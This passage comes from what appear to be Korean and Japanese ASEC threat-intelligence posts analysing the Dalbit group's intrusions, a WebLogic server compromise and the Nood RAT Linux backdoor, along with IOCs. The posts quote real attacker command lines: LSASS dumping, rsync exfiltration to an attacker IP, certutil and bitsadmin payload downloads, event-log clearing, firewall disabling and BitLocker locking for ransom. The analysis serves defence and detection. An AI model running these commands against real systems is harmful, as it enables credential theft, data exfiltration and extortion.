사용되었다. 이러한 FRP와 LCX 등 프록시 도구에는 포워딩 방식이나 지원하는 프로토콜의 차이가 존재한다. 그러나 TI 보고서 ‘다양한 원격 제어 도구들을 악용하는 공격 사례 분석 보고서 ‘에서 차이에 대한 설명과 실 감염 사례 그리고 재현 및 네트워크 패킷까지 모두 다뤘기 때문에 이 글에서는 해당 부분을 따로 언급하지 않는다. 1) FRP(Fast Reverse Proxy) 이 그룹에 침해 당한 경우 서버와 PC 디바이스 모두에 FRP 설정 파일(.ini)이 확인되었다. 아래는 실제 침해 기업의 한 사례이다. 특히 달빗(Dalbit) 그룹은 주로 Socks5 프로토콜을 이용해 통신하였다. Socks5 프로토콜은 OSI 7계층 중 5계층 프로토콜로 4계층과 7계층 사이에 있어 HTTP, FTP, RDP 등 여러 요청을 처리할 수 있다. 이에 따라 공격자는 공격자 서버에 Socks5를 다룰 수 있는 Proxifier와 같은 프록시 연결 도구를 이용한다면 RDP를 통한 원격제어가 가능하며, 내부 PC로 연결 가능한 경우 측면 이동(Lateral Movement) 또한 수행할 수 있다. 즉, 설정 파일을 Socks5 프로토콜로 해두면 더 이상 수정할 필요 없이 여러 요청을 처리할 수 있어 더 자유롭다. 다음은 공격자가 사용한 FRP 파일 이름 및 명령어이다. 아래는 가장 많이 사용된 순으로 정리하였다. FRP 파일명 update.exe debug.exe main.exe info.exe Agent.exe frpc.exe test.exe zabbix.exe winh32.exe cmd.exe [표 10] FRP 파일명 FRP 명령어 > update.exe -c frpc.ini > update.exe -c 8080.ini > update.exe -c 8.ini > info.zip -c frpc__8083.ini > debug.exe -c debug.ini > debug.exe -c debug.log > debug.exe -c debug.txt > frpc.exe -c frpc__2381.ini > cmd.exe /c c:\temp\****\temp\frpc.ini … [표 11] FRP 실행 로그 또한 특정 기업에서는 FRP를 ‘debug’라는 이름으로 작업 스케줄러(schtasks)에 등록하여 지속성을 유지하였다. 아래와 같이 등록된 스케줄러가 실행된 것이 확인되었다. > schtasks  /tn debug /run [표 12] 작업스케줄러로 실행한 로그 2) LCX(Htran) 달빗(Dalbit)은 특정 중국인이 컴파일한 LCX(Htran) 바이너리를 사용하였다. 이는 기존 바이너리 와 기능이 동일하지만 바이너리 제작자의 닉네임이 명시되어 있다. 해당 바이너리를 제작한 사람은 닉네임이 ‘折羽鸿鹄'(QQ:56345566)으로 확인된다. 이 제작자가 공격자일 가능성은 매우 낮지만, 이 바이너리는 단순히 검색만으로 다운 받을 수 없기 때문에 공격자는 중국과 연관이 있을 것으로 추정된다. 설치된 파일명 및 실행은 다음과 같다. LCX 파일명 lcx3.exe lcx.exe update.exe [표 13] LCX 파일명 LCX 명령어 > update.exe -slave 1.246.***.*** 110 127.0.0.1 3389 > lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389 … [표 14] LCX 명령어 로그 위 LCX C2는 국내 기업 서버이기 때문에 마스킹하여 표기 하였다. 3.2.5. 내부 정찰 네트워크 스캔에는 주로 Fscan과 NBTScan 도구가 흔히 사용되었으며, 일부 사례에서는 TCP Scan 및 Goon이 확인되었다. Goon 은 Golang으로 만들어진 네트워크 스캐닝 도구로 기본적인 포트 스캔 뿐만 아니라 Tomcat, MSSQL, MYSQL의 계정 등도 스캔할 수 있는 도구이다. 해당 도구 또한 중국어로 만들어진 것을 확인할 수 있다. 3.2.6. 정보 탈취 주 탈취 정보는 LSASS Dump 정보, 특정 계정의 EML 파일이며 기업에 따라 WMIC 명령어로 설치된 프로그램을 확인하거나 특정 피해자 PC에서는 일정 시간마다 공격자 서버에 화면 이미지를 송출하는 것이 확인되었다. 1) 자격 증명 정보 추출(LSASS Dump) 공격자는 타겟에 따라 미미카츠(Mimikatz)를 설치하지 않고 자격 증명 정보 추출을 시도하였다. 이는 Lsass.exe 프로세스를 덤프하는 방법으로, 이 덤프 파일 내부에는 크리덴셜 정보가 포함되어 있기 때문에 Mimikatz나 Pypykatz 같은 도구로 해당 PC의 자격 증명 정보를 얻을 수 있다. 참고로 Mimikatz에 대한 상세한 내용은 TI 보고서 ‘ 미미카츠를 이용한 내부망 전파 기법 분석 보고서 ‘에서 확인할 수 있다. 공격자가 Mimikatz 없이 수행한 자격 증명 정보를 탈취 방법은 다음과 같다. 1-1) Dumpert 오픈소스 Dumpert 는 API 후킹 우회 및 OS 버전에 맞게 수행하는 도구로 MiniDumpWriteDump() API를 사용해 lsass.exe 프로세스를 덤프한다. 공격자는 코드를 수정하여 덤프 파일의 경로 변경 및 로그 출력 기능 등을 제거하였다. 위 사진을 보면 우측의 경우 경로 및 출력되는 문자열이 제거된 것 외에 동일함을 볼 수 있다. 현재까지 확인된 덤프 파일의 경로는 모두 ‘%SystemRoot%\temp’로 아래와 같다. %SystemRoot%\temp\duhgghmpert.dmp %SystemRoot%\temp\dumpert.dmp %SystemRoot%\temp\tarko.dmp %SystemRoot%\temp\lsa.txt … [표 15] Lsass 덤프 파일 경로 1-2 ) Procdump Procdump 도구는 Microsoft에서 제공하는 정상 유틸리티 프로그램으로 프로세스 덤프 기능을 제공한다. 공격자는 해당 도구를 통해 아래와 같이 덤프를 수행하였다. 이후 공격자는 Rsync(Remote Sync)라는 도구를 통해 덤프 파일 공격자 서버로 전송하였다. 아래는 공격자가 정보 유출을 시도한 실제 사례이다. > svchost.exe -accepteula -ma lsass.exe web_log.dmp > rsync  -avz –port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip [표 16] Procdump 실행 및 rsync를 사용한 로그 2) 메일 추출 해당 샘플은 Golang으로 만들어진 메일 추출 도구로 현재 유일하게 공격자가 만든 도구로 추정되고 있다. 이는기업의 Exchange 메일 서버를 대상으로  EWS(Exchange Web Service)를 통해 특정 계정 메일을 EML파일로 추출하는 기능을 가지고 있다. 인자로는 Exchange 서버 주소와, 계정명, 해당 계정의 NTLM 패스워드 해시, 날짜 및 시간 등이 존재한다. 실행 시 해당 계정의 모든 메일함에서 인자로 받은 시간을 기준으로 모든 메일을 추출하여 EML 파일로 저장한다. 참고로 해당 바이너리의 PDB 정보는는 ‘fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff’로 무의미하다. 3) 화면 유출 공격자는 특정 PC의 화면을 공격자 서버로 송출하였다. 현재 화면을 캡쳐하는 바이너리가 확인되지 않았으나, 감염된 PC의 화면이 송출되는 공격자 서버가 확인되었다. 이는 5~10초 간격으로 특정 기업의 침해 PC의 화면이 송출되고 있었다. 공격자의 화면 송출 서버 : hxxp://91.217.139[.]117:8080/1.bat 이는 온전히 이미지만 송출되었으며 원격으로 조종할 수 없고 오디오 등은 출력되지 않았다. 또한 화면이 송출되고 있던 공격자 서버(91.217.139[.]117)는 또 다른 기업에서 다운로드 서버로도 사용되고 있었다. >certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe >certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc) >bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8001/log.ini ” “c:\windows\debug\log.ini” (frpc.ini) [표 17] 공격자 서버(91.217.139[.]117)의 다른 로그 4) 설치된 프로그램 조회 및 로그인 정보 공격자는 WMIC 명령어를 통해 설치된 프로그램을 확인하였다. > wmic product get name,version [표 18] 공격자가 설치된 프로그램을 조회한 방법 또한 이벤트 로그 중 특정 이벤트 ID를 발생한 도메인 계정 정보에 대해 수집하였다. 생성된 파일은 c:\temp\EvtLogon.dat에 존재한다. Event ID 의미 4624 로그인 성공 4768 커버로스 인증 요청 4776 NTLM 인증 시도 [표 19] 공격자가 사용한 이벤트 ID의 의미 > wevtutil qe security /q:”Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]” /f:text /rd:true >> c:\temp\EvtLogon.dat [표 20] wevtutil 명령어 로그 3.2.7. 파일 암호화 해당 내용은 과거 블로그 를 통해 자세히 소개되었다. 공격자는 윈도우 유틸리티인 BitLocker를 통해 특정 드라이브를 암호화하여 금액을 요구하였다. 현재 여러 피해 기업이 더 확인되고 있다. BitLocker 명령어 > “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T > manage-bde  -lock  -ForceDismount F: > manage-bde  -lock  -ForceDismount e: > “c:\windows\system32\bitlockerwizardelev.exe” e:\ t > “c:\windows\system32\bitlockerwizardelev.exe” f:\ u [표 21] BitLocker 로그 아래는 공격자가 사용하는 랜섬노트이다. 공격자는 startmail.com, onionmail.com과 같은 익명 메일 서비스를 이용하였다. 랜섬노트 다운로드로 추정되는 명령어는 다음과 같다. > certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme [표 22] 랜섬노트 다운로드로 추정되는 로그 3.2.8. 우회 1) VMProtect Packing 공격자는 바이너리를 업로드 후 진단이 되었을 때 VMProtect로 패킹을 하여 진단 우회를 시도하였다. – 권한 상승 도구 %ALLUSERSPROFILE%\badpotatonet4.exe %ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe %ALLUSERSPROFILE%\SweetPotato.exe %ALLUSERSPROFILE%\SweetPotato.vmp.exe %ALLUSERSPROFILE%\jc.vmp.exe %SystemDrive%\nia\juicypotato.vmp1.exe %SystemDrive%\nia\juicypotato.vmp.exe … – 프록시 도구 E:\WEB\*****\data\frpc.vmp.exe %ALLUSERSPROFILE%\lcx.exe %ALLUSERSPROFILE%\lcx_VP.exe %SystemDrive%\Temp\lcx.exe %SystemDrive%\Temp\lcx_VP.exe %SystemDrive%\Temp\svchost.exe (FRP) %SystemDrive%\Temp\frpc.vmp.exe … [표 23] VMP로 패킹된 파일 2) Wevtutil을 이용한 윈도우 이벤트 로그 삭제 Security 이벤트 로그 삭제 > cmd.exe /c wevtutil cl security Application 로그 삭제 > cmd.exe wevtutil.exe el > cmd.exe wevtutil.exe cl “application” [표 24] 윈도우 이벤트 로그 삭제 3) 방화벽 OFF sp.exe “netsh advfirewall set allprofiles state off” [표 25] 방화벽 OFF 4. 결론 달빗(Dalbit) 해킹 그룹은 국내 기업의 취약한 서버를 대상으로 공격을 시도하였으며 이는 중견 이하 업체뿐만 아니라 일부 대기업에서도 로그가 올라오고 있다. 특히 피해 기업 중 30%가 국내의 특정 그룹웨어 제품을 사용 중인 것으로 확인되었다. 또 해당 그룹은 침입 초기에 사용한 웹쉘부터 최종 단계인 랜섬웨어까지 누구나 쉽게 구할 수 있는 도구를 사용하고 있으며 이 중, 중국 커뮤니티에서 구한 것으로 추정되는 프록시 도구나 중국어로 설명된 도구 그리고 이 글에서 언급되지 않은 중국어 도구도 존재한다. 따라서 공격자는 중국어로 소개되는 도구를 주로 사용한 것으로 보아 중국과 일부 연관이 있을 것으로 추정된다. 서버 관리자는 감염 의심 시 이 글에서 소개된 공격자의 주 다운로드 경로와 주 계정명(‘main’) 그리고 IOC 등을 확인해야 하며, 만약 의심 징후 확인 시 안랩에 즉시 신고하여 2차 피해를 줄여야 할 것으로 보인다. 또한 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존 취약점을 사전 방지하며 외부에 공개된 서버 중 관리되지 않는 서버가 있다면 필히 점검해야 할 것으로 보인다. 5. IOC 참고로 ASEC 블로그에서는 공격자가 악용 중인 국내 기업 서버의 IP를 공개하지 않는다. Mitre Attack Execution Persistence Privilege Escalation Credential Access Discovery Defense Evasion Lateral Movement Collection Exfiltration Command and Control Impact Resource Development – Command and Scripting Interpreter(T1059) – Windows Management Instrumentation(T1047) – System Service(T1569) – Scheduled Task/Job(T1053) – Create Account(T1136) – Server Software Component(T1505) – Account Manipulation(T1098) – Access Token Manipulation(T1134) – Exploitation for Privilege Escalation(T1068) – OS Credential Dumping (T1003) – Remote System Discovery(T1018) – Network Service Discovery(T1046) – Impair Defenses(T1562) – Indicator Removal(T1070) – Remote Services(T1021) – Lateral Tool Transfer(T1570) – Data from Local System(T1005) – Account Discovery: Email Account(1087.003) – Email Collection(T1114) – Screen Capture(T1113) – Exfiltration Over Web Service(T1567) – Proxy(T1090) – Ingress Tool Transfer(T1105) – Data Encrypted for Impact(T1486) – Stage Capabilities: Upload Malware(T1608.001) [표 26] Mitre Attack 진단명 WebShell/Script.Generic (2020.12.11.09) WebShell/ASP.ASpy.S1361 (2021.02.02.03) WebShell/ASP.Generic.S1855 (2022.06.22.03) WebShell/ASP.Small.S1378 (2021.02.24.02) WebShell/JSP.Godzilla.S1719(2021.12.03.00) WebShell/JSP.Chopper.SC183868(2022.10.15.01) WebShell/JSP.Generic.S1363 (2021.01.27.03) Backdoor/Script.Backdoor (2015.01.04.00) WebShell/JSP.Generic.S1956 (2022.11.14.00) Trojan/Script.Frpc (2022.12.17.00) JS/Webshell (2011.08.08.03) HackTool/Win.Fscan.C5334550(2023.01.27.00) HackTool/Win.Fscan.C5230904(2022.10.08.00) HackTool/Win.Fscan.R5229026(2022.10.07.03) Trojan/JS.Agent(2022.03.16.02) Unwanted/Win32.TCPScan.R33304(2012.08.17.00) HackTool/Win.Scanner.C5220929(2022.08.09.02) HackTool/Win.SweetPotato.R506105 (2022.08.04.01) Exploit/Win.BadPotato.R508814 (2022.08.04.01) HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) Exploit/Win.JuicyPotato.C425839(2022.08.04.01) Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) Trojan/Win.Escalation.R524707(2022.10.04.02) Trojan/Win.Generic.R457163(2021.12.09.01) HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06) Malware/Win64.Generic.C3164061 (2019.04.20.01) Malware/Win64.Generic.C3628819 (2019.12.11.01) Exploit/Win.Agent.C4448815 (2021.05.03.03) Trojan/Win.Generic.C4963786 (2022.02.11.04) Trojan/Win.Exploit.C4997833 (2022.03.08.01) Exploit/Win.Agent.C5224192 (2022.08.17.00) Exploit/Win.Agent.C5224193 (2022.08.17.00) Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01) Trojan/Win32.Mimikatz.R262842(2019.04.06.00) Trojan/Win.Swrort.R450012(2021.11.14.01) HackTool/Win.Lsassdump.R524859(2022.10.05.00) HackTool/Win.ProxyVenom.C5280699(2022.10.15.01) Unwanted/Win.Frpc.C5222534 (2022.08.13.01) Unwanted/Win.Frpc.C5218508 (2022.08.03.03) Unwanted/Win.Frpc.C5218510 (2022.08.03.03) Unwanted/Win.Frpc.C5218513 (2022.08.03.03) HackTool/Win.Frpc.5222544 (2022.08.13.01) HackTool/Win.Frp.C4959080 (2022.02.08.02) HackTool/Win.Frp.C5224195 (2022.08.17.00) Unwanted/Win.Frpc.C5162558 (2022.07.26.03) Malware/Win.Generic.C5173495 (2022.06.18.00) HackTool/Win.LCX.C5192157 (2022.07.04.02) HackTool/Win.LCX.R432995(2023.01.06.01) HackTool/Win.Rsocx.C5280341(2022.10.15.00) Backdoor/Win.BlueShell.C5272202(2022.10.05.00) Trojan/Win.BlueShell.C5280704(2022.10.15.01) Backdoor/Win.CobaltStrike.R360995(2022.09.20.00) Unwanted/Win.Extractor.C5266516(2022.10.01.00) Trojan/Win.RemCom.R237878(2023.01.07.00) MD5 011cedd9932207ee5539895e2a1ed60a 0311ee1452a19b97e626d24751375652 0359a857a22c8e93bc43caea07d07e23 059d98dcb83be037cd9829d31c096dab 07191f554ed5d9025bc85ee1bf51f975 URL http[:]//45[.]93[.]28[.]103[:]8080/ http[:]//45[.]93[.]31[.]75[:]7777/ http[:]//moack[.]co[.]ltd/ http[:]//sk1[.]m00nlight[.]top/ https[:]//45[.]136[.]186[.]175/ FQDN moack[.]co[.]ltd IP 101[.]43[.]121[.]50 103[.]118[.]42[.]208 205[.]185[.]122[.]95 45[.]136[.]186[.]19 45[.]93[.]31[.]122 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.

ASEC 악성코드 감염 시 단순히 치료에 그쳐서는 안되는 이유 2022-05-12

원문 보기

2022년 1월 국내 제조업 분야 유수의 기업에서 내부의 다수 시스템이 Darkside 랜섬웨어에 감염되는 피해가 발생했다. AD 그룹 정책을 이용해 Darkside 랜섬웨어가 배포된 정황이 확인되어, DC 서버 포렌식 분석을 시도했으나 가상 환경에서 운영 중이었던 DC 서버의 가상 환경 운영 시스템 자체가 손상되어 DC서버를 확보할 수는 없었다. 대신에 Darkside 랜섬웨어에 감염 후 기존 백업을 활용해 복구된 시스템 중 WebLogic 서버 2대가 유사 시기에 WebShell에 감염된 것이 확인되어, Darkside 랜섬웨어의 감염 원인이 WebShell인지를 파악하고자 포렌식 분석을 수행했다. 이전 스냅샷으로 복구된 WAS1, WAS2 서버를 분석 결과, 발견된 WebShell과 Darkside 랜섬웨어와의 관련성은 확인되지 않았다. 하지만 2019년 4월경부터 마이너 감염되기 시작해 2022년 2월경까지(분석 당시) 다양한 악성코드 감염된 이력과 침해 흔적이 발견됐다. 이러한 악성코드 감염에 대해서 피해 고객사는 인지하고 있었으나 해당 악성코드들이 어떻게 유입됐는지에 대한 원인 파악 없이 악성코드 치료로 대응해 왔던 것으로 보인다. 감염된 악성코드가 심각해 보이지 않는 악성코드라 하더라도 이렇게 유출된 제어권 및 내부 시스템에 대한 정보들이 공격자간 거래될 수 있으며, 향후 심각한 피해를 입히는 공격에 활용될 수 있다. 따라서 악성코드 탐지 시 단순 치료 및 삭제에 그쳐서는 안된다. 감염 시스템에 대한 상세 분석을 통해 악성코드 감염 및 침해 원인을 파악하고, 파악된 문제점을 해결해야 침해 재발 및 유사 방식의 공격을 막을 수 있다. 침해 내용 피해 고객사의 WAS1과 WAS2에서 확인된 침해 흔적음 다음과 같다. WAS1은 2019년도에 코인 마이너에 감염됐으며 이후 Cobalt Strike, WebShell, 정보 유출 악성코드 등 다양한 유형의 악성코드에 감염됐다. 다양한 공격자에 의해 최근 2, 3년간 침해가 진행되고 있었던 것으로 보인다. WAS2에서는 북한 해커에 의해 제작됐을 것으로 추정되는 악성코드가 발견되어, WAS2 역시 APT 공격이 진행 중이었던 것으로 추정된다. 그 외에도 2021년 4월 22일에 다양한 침해 흔적이 발견됐으나, 피해 업체는 당시에 모의해킹 서비스를 받았다고 답변했다. 최초 접근 WAS1은 2019년 4월 30일에 코인마이너에 감염됐다. 코인마이너는 146.196.83.217에서 다운로드됐는데, Tencent Security 블로그 에 따르면 이 IP는 RunMiner로 명명된 마이너와 관련된 IP로, 해당 마이너는 WebLog Descerialization 취약점인 CVE-2017-10271을 이용하여 배포되는 것으로 확인됐다. WAS2의 최초 침해 흔적은 2020년 4월 29일로, WebShell을 유입 시도한 흔적이 확인됐다. WAS1과 WAS2에는 WebLogic 12.1.3 버전으로 위에서 언급한 CVE-2017-10271 취약점에 존재하는 버전이다. WAS1과 WAS2의 WebLogic 취약점에 의해 최초 침해됐을 가능성이 높다. 계정 획득 WAS1 시스템에서는 2020년 10월 22일 공유 폴더에서 사전 대입 공격(Dictionary Attack) 기능이 포함된 해킹 툴과 lsass.exe 프로세스 덤프 파일인 lsass.dmp 파일이 1.rar 파일로 압축돼 발견됐다. 공격자는 사전 대입 공격 시도 및 lsass.exe 프로세스 덤프를 통해 패스워드를 탈취한 것으로 보인다. 공격자가 확보한 lsass.dmp를 통해 아래와 같이 drmftp, Administrator 계정의 평문 패스워드와 NTLM Hash 등을 얻어낼 수 있다. 그림 2. 공격자가 탈취한 lsass.dmp에서 추출한 계정 정보(ID, 평문 PW, NTLM Hash) 게다가 피해 기업의 관리자 계정(Administrator)은 다음과 같이 취약하게 관리되고 있었다. Administrator 계정 패스워드는 생성 후 한 번도 변경되지 않았다. Administrator 계정은 유추하기 쉬운 패스워드를 사용했다. WAS1과 WAS2의 Administrator 계정 패스워드가 동일한 것으로 보아, 대부분 서버의 관리자 계정을 동일하게 사용하고 있을 가능성이 있다. Reverse RDP 접속 공격자는 관리자 수준의 계정을 확보한 후 조직 내부의 시스템에 Lcx.exe를 이용해 Reverse RDP 방식으로 접속해 직접 제어하기도 했다. Lcx.exe는 오픈소스 프로그램으로, 방화벽을 우회하여 외부의 공격자와 내부의 시스템을 연결할 때 사용할 수 있는 터널링 툴이다. Lcx.exe의 RDP 통신 과정은 다음과 같다. 그림 3. Lcx.exe를 이용한 RDP 통신 과정 WAS1에서 Lcx.exe가 생성 흔적 및 실행된 이력과, 이벤트 로그(Event ID: 4624)에 접속 IP가 127.0.0.1로 기록된 것이 확인됐다. 터널링 자격증명에 사용된 계정은 로컬 Administrator와, test 계정이며, 모두 관리자 계정이다. test 계정의 경우 이벤트 발생 직전에 새로 생성된 계정으로, 공격자가 임의로 생성한 것으로 추정된다. 아쉽게도 원격 접속에 사용된 외부 공격자의 IP는 확인되지 않았다. 그림 4. 터널링 RDP 접속 이벤트 로그 – Event ID : 4624 공격에 사용된 툴 피해 시스템에서는 스캐닝 툴, 프록시 및 포트 포워딩 툴, WebShell, 백도어 악성코드 등이 발견됐다. 공격자는 내부 침투를 위해 정보 수집, 외부와 연결을 위한 포트 포워딩, 지속성을 위한 백도어 설치 등 다양한 도구를 사용했다. 시스템에서 발견된 툴은 다음과 같다. 표 1. 공격에 사용된 툴 공격자는 안티 바이러스 보안 제품을 우회하기 위해 비교적 탐지가 어려운 오픈소스 프로그램을 공격 툴로 사용했다. 안랩에서는 피해 시스템에서 발견된 악성코드와 공격 툴들을 다음과 같이 진단하고 있다. [파일 진단] Unwanted/Win32.NSSM Unwanted/Win32.BitCoinMiner Unwanted/Win32.BitCoinMiner Dropper/Win.Agent Dropper/Win32.Agent Dropper/Win.Agent HackTool/Win.Fscan HackTool/Win.Fscan HackTool/Win.Fscan HackTool/Win.NbtScan Malware/Gen.Reputation HackTool/Win.AliveScan Exploit/Win.Scanner HackTool/Win.LCX HackTool/Win.Stowaway HackTool/Win.NPS HackTool/Win.Frp HackTool/Win.Frp Malware/Win64.Generic Patched/Win.Loader HackTool/Win.ExploitScanner [파일 MD5] 1136efb1a46d1f2d508162387f30dc4d ae00198dfa0ef3a7e5fea8dd06a8d8b8 f2f94708cef791d9664d2e4fa20ff520 0dabd600cea6dcf3c049a667b67b4482 99b0638f134a0d607edb8dbab01d3f95 763f2cae2072647d61d11047c8aaaf09 e636a07bb8d8fbfb1cab5557fdc217aa 0f7baf15408a49895439aa273ee7f867 7650484a85247bc922de760a6a335a76 62eada472d6d2d7606ba322c8b7f9153 f01a9a2d1e31332ed36c1a4d2839f412 f4a992b87d70c622eef107a09d712e9e d221d51f4599ae051709b5cf5c45af10 fb6bf74c6c1f2482e914816d6e97ce09 4b8fbfc68b9969549f050c0e8366a10d 716979a28125fa65903e77dc5b399383 88a5ebccf60464764d0fe015d71bf330 d862186f24e644b02aa97d98695c73d8 114f26e7b46d0f4c4a202353c41ce366 0b877ea03db28b275dd535f16dd78239 fe12b5008334ad718008307e1a0750f7 [IP/URL] 198.13.53.81 180.235.137.14 185.239.226.133 159.233.41.219 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

ASEC 영어·일본어 등 다른 언어 글 6건
ASEC Linux 対象の攻撃に使用される Nood RAT マルウェアの解析(Gh0st RAT 変種) 2024-02-28

원문 보기

ASEC(AhnLab SEcurity intelligence Center)では、最近 Linux バージョンの Gh0st RAT 変種マルウェアである Nood RAT が攻撃に使用されていることを確認した。Windows バージョンの Gh0st RAT に比べると少ない数ではあるが、Linux バージョンの Gh0st RAT もまた、収集され続けている。Nood RAT は過去、コードの類似性をベースに Gh0st RAT 変種として分類された。 [1] (英語にて提供) 最近、このマルウェアの製作に使用されるビルダーが確認され、製作者が Nood という名前を使用したため、ここでは Nood RAT として分類する。 Nood RAT は、2018年頃から様々な脆弱性攻撃プロセスで使用されてきた。最近は具体的な攻撃事例が確認されなかったものの、VirusTotal 基準、収集され続けている。ここでは、最近の数年間にわたって確認されたマルウェアを整理し、ビルダーとともにに解析する。 1. 概要 Gh0st RAT は中国の C.Rufus Security Team で開発した遠隔操作マルウェアである。 [2] (韓国語にて提供) ソースコードが公開されているため、マルウェアの開発者たちがこれを参考にし、様々な変種を開発しており、最近までも持続的に攻撃に使用されている。ソースコードが公開されていが、主に中国語を使う攻撃者が使用しているという点が特徴である。 ASEC では、過去に Gh0st RAT の変種である Gh0stCringe RAT マルウェアがデータベースサーバー(MS-SQL、MySQL サーバー)を対象に配布された事例を公開したことがあり、 [3] その後も Hidden ルートキットを共ににインストールする Gh0st RAT 変種の HiddenGh0st が不適切に管理されている MS-SQL サーバーを対象とした攻撃に使用された事例を紹介した。 [4] ソースコードが公開されているため、すでに様々な Linux バージョンが存在する可能性もあるが、ここで紹介するタイプの Nood RAT は、2018年頃に初めて確認された。最も古い記録は、WebLogic 脆弱性(CVE-2017-10271)攻撃を通してインストールされた事例であり、 [5] (英語にて提供) その後にはコインマイナーをインストールする Rocke 攻撃者が攻撃に共にに使用した事例がある。 [6] (英語にて提供) 2020年には、Cloud Snooper APT 攻撃キャンペーンでも使用された履歴が確認されるが、攻撃者は Amazon 社のクラウドサービスである AWS 内のサーバーを対象にバックドアマルウェアをインストールして制御権を窃取した。 [7] (英語にて提供) 2. Gh0st RAT の Linux バージョンの解析 Nood RAT は、以下のようなビルダーによって製作される。圧縮ファイルの内部には、リリースノートとビルダーブログラムの「NoodMaker.exe」、そしてバックドアの制御に使用する「Nood.exe」が存在する。NoodMaker は製作時、アーキテクチャ別に x86 および x64 バイナリを生成し、攻撃対象のシステムに適したバイナリを選択して使用することができる。 図1. Nood RAT ビルダー(Linux バージョンの Gh0st RAT) Nood RAT には、正常なプログラムに偽装するため、自身の名前を変更する機能が存在する。偽装するプロセスの名前は、マルウェアの製作プロセスで選択することができる。最初に実行されると、RC4 アルゴリズムを利用して暗号化されたデータを復号化するが、このプロセスで復号化された文字列が変更するプロセスの名前である。それ以外にも、設定データも同じく RC4 アルゴリズムで暗号化されており、復号化に使用される RC4 キーは「r0st@#$」文字列である。Socks プロキシおよびポートフォワーディング通信では「VMware#@!Station」文字列が代わりに使用される。 図2. プロセス名の偽装機能 プロセス名を変更した後には、自身を「/tmp/CCCCCCCC」パスにコピーして実行するが、ここまでのプロセスが終わると、コピーしたファイル、すなわち「/tmp/CCCCCCCC」を削除する。そのため、現在実行中のマルウェアは、「/tmp/CCCCCCCC」ファイルが実行された形態だが、ファイルが存在しなくなり、マルウェアのプロセス名も偽装した正常なプロセスに見えるようになる。 図3. 変更されたプロセス名 その後、設定データを復号化するが、設定データは大きく C&C サーバーアドレスと有効化の日付および時間、そして C&C 接続試みの間隔で分けられる。C&C サーバーと通信しながらコマンドを受け取ることができる有効化の日付は、曜日ごとに決めることができ、有効化の時間もまた、指定可能だ。 設定データの形式: “C&C_Server_1″;”C&C_Server_2″|”Mon”;”Tue”;”Wed”;”Thu”;”Fri”;”Sat”;”Sun”;|”Time”;|”Interval” 図4. ビルダーおよび設定データ Gh0st RAT は、最初に C&C サーバーに接続する時、感染システムに対する基本的な情報を獲得して送信する。送信するデータは RC4 アルゴリズムで暗号化し、暗号化に使用されたキーも現在時間基準で生成するため、ネットワークパケットベースの検知を回避することができる。 Offset Size Data 0x0000 0x0018 “Key Type 2”(Key Type 1で暗号化) 0x0018 0x0004 “Key Type 1” 0x001C 0x0208 感染システム情報(Key Type 2で暗号化) 表 1. C&C サーバーに伝達するデータ C&C サーバーに伝達する最初の0x18サイズのデータは、以下のような形態でハードコーディングされた4バイト値2つと現在時間を基準として生成した4バイト値4つで構成されている。この値は、RC4 アルゴリズムで暗号化されて C&C サーバーに伝達されるが、この暗号化に使用するキーは「Key Type 1」で名付けたキーを活用して製作する。 Offset Size Data 0x00 0x04 生成した4バイトキー #1 0x04 0x04 生成した4バイトキー #2 0x08 0x04 生成した4バイトキー #3 0x0C 0x04 0x00009F72 0x10 0x04 生成した4バイトキー #4 0x14 0x04 0x000002E9 表2. 暗号化されたキーデータ C&C サーバーでは、「Key Type 1」を利用して RC4 キーを製作し、「Key Type 2」を復号化することができ、復号化された「Key Type 2」を利用して製作した RC4 キーで0x0208サイズのデータを復号化し、最終的に感染システムの情報を獲得することができる。 Offset Type Data 0x0000 String ログインバナー文字列(「/etc/issue.net」または「/etc/issue」ファイルの内容) 0x0100 Flag ログインバナー文字列情報の獲得有無(0x01/0x00) 0x0101 Flag アーキテクチャ。「/proc/version」で x86_64 キーワードの存在有無(0x01/0x00) 0x0102 String ホスト名 0x0202 Flag ホスト名の獲得有無(0x01/0x00) 0x0203 Hex IP アドレスの16進数値 0x0207 Flag IP アドレスの獲得有無(0x01/0x00) 表3. C&C サーバーに送信する感染システム情報 図5. C&C パネルに表示される感染システム情報 Nood RAT は、遠隔シェルおよびファイル管理、Socks プロキシ、ポートフォワーディングという大きく、4種類の機能をサポートする。これによって攻撃者は、感染システムにて悪意のあるコマンドを実行したり、ファイルのアップロードおよびダウンロード機能を利用して情報を窃取することができる。また、感染システムをプロキシで使用したり、ポートフォワーディング機能を通してラテラルムーブメントのプロセスで該当のシステムを活用することもできる。 図6. Nood RAT がサポートするコマンド 3. 攻撃事例 Nood RAT を使用した攻撃事例としては過去、WebLogic 脆弱性攻撃事例と Cloud Snooper APT 攻撃事例が存在した。その後、最近までも Nood RAT マルウェアが収集され続けており、VirusTotal にもアップロードされている。具体的な攻撃方式は確認されなかったものの、様々な攻撃者が感染システムを制御し、情報を窃取する目的で使用しているものと推定される。以下は、最近の数年間にわたって確認された Nood RAT を分類した表である。 収集日 国 名前 偽装プロセス 設定データ 240130 KR AliDunYun /usr/bin/ssh 43.156.118[.]72:443;43.156.118.72:443;| 1;1;1;1;1;1;1;|00-24;|1 